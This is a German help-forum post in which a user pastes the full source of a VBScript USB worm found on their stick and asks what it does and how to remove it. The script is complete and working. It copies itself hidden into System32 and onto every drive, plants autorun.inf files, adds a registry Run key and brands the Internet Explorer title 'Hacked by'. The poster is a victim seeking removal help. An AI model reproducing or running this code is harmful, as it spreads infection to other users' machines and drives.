Was macht die Datei und wie bekomme ich sie wieder los?

[Boarder]

War heute an einen fremden Computer und habe mir folgenden unsichbare VBS mit auf meine USB-stick bekommen(hier der Code):

'Mutation of Trojan virus.
'My name is Datei.vbs
On error resume next
Dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd,oldname,newname,rgname
Set fs = createobject("Scripting.FileSystemObject")
Set wn = WScript.CreateObject("WScript.Network")
Set mf = fs.getfile(Wscript.ScriptFullname)
oldname=CStr(fs.getfilename(Wscript.ScriptFullname))
newname = wn.ComputerName & ".vbs"
rgname = Replace(newname,".vbs","")
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe Datei.vbs"
dim text,size
size = mf.size
check = mf.drive.drivetype
Set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
Loop
mysource=Replace(mysource,oldname,newname)
do
Set winpath = fs.getspecialfolder(0)
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 32
Set tf=fs.createtextfile(winpath & "\SYSTEM32\" & newname,2,true)
tf.write mysource
tf.close
Set tf = fs.getfile(winpath & "\SYSTEM32\" & newname)
tf.attributes = 39
For each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" Then
Set tf=fs.getfile(flashdrive.path &"\Datei01.vbs")
tf.attributes =32
Set tf=fs.createtextfile(flashdrive.path &"\Datei01.vbs",2,true)
tf.write mysource
tf.close
Set tf=fs.getfile(flashdrive.path &"\Datei01.vbs")
tf.attributes =39
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
Set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
Set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
End If
next
Set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & rgname & "",winpath&"\SYSTEM32\" & newname
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by " & Replace(oldname, ".vbs","")
if check <> 1 then
Wscript.sleep 120000
End if
loop while check<>1
Set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

Also kann mir mal jemand kurz erzählen wie ich das Ding wieder loskrieg. Meine Virensoftware hat nicht angeschlagen, daher denke ich mal das es über die Autorun.inf ausgeführt wurde, nachdem ich den Stick an meine PC gemacht habe.
